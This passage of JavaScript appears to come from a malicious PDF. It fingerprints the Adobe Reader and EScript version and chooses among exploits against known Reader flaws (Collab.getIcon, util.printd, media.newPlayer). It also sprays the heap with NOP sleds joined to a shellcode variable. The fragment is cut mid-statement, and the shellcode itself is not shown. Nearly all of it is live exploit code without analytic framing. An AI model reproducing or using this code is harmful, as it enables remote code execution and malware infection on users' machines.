tUMhNbGw=unescape('	');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}